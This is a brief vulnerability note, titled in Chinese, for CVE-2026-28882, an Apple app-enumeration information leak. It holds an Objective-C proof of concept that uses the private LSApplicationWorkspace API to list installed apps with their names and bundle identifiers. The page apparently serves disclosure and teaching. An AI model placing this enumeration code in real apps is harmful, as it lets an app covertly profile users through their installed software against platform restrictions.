CVE-2026-28882 Apple应用枚举信息泄露漏洞

/* * Conceptual Proof of Concept (PoC) for CVE-2026-28882 * This snippet demonstrates how an app might enumerate installed apps * using private APIs if the security checks are bypassed. * WARNING: This is for educational purposes only. */ #import <Foundation/Foundation.h> @interface LSApplicationWorkspace : NSObject + (id)defaultWorkspace; - (NSArray *)allInstalledApplications; @end @interface LSApplicationProxy : NSObject @property (nonatomic, readonly) NSString *bundleIdentifier; @property (nonatomic, readonly) NSString *localizedName; @end int main(int argc, char * argv[]) { @autoreleasepool { // Access the private LSApplicationWorkspace class Class workspaceClass = NSClassFromString(@"LSApplicationWorkspace"); if (workspaceClass) { id workspace = [workspaceClass performSelector:@selector(defaultWorkspace)]; if (workspace) { // Retrieve the list of all installed applications NSArray *apps = [workspace performSelector:@selector(allInstalledApplications)]; NSLog(@"[PoC] Found %lu installed applications:", (unsigned long)apps.count); for (id app in apps) { NSString *bundleID = [app performSelector:@selector(bundleIdentifier)]; NSString *name = [app performSelector:@selector(localizedName)]; NSLog(@"App: %@ | Bundle ID: %@", name, bundleID); } } } else { NSLog(@"[PoC] Failed to access LSApplicationWorkspace."); } } return 0; }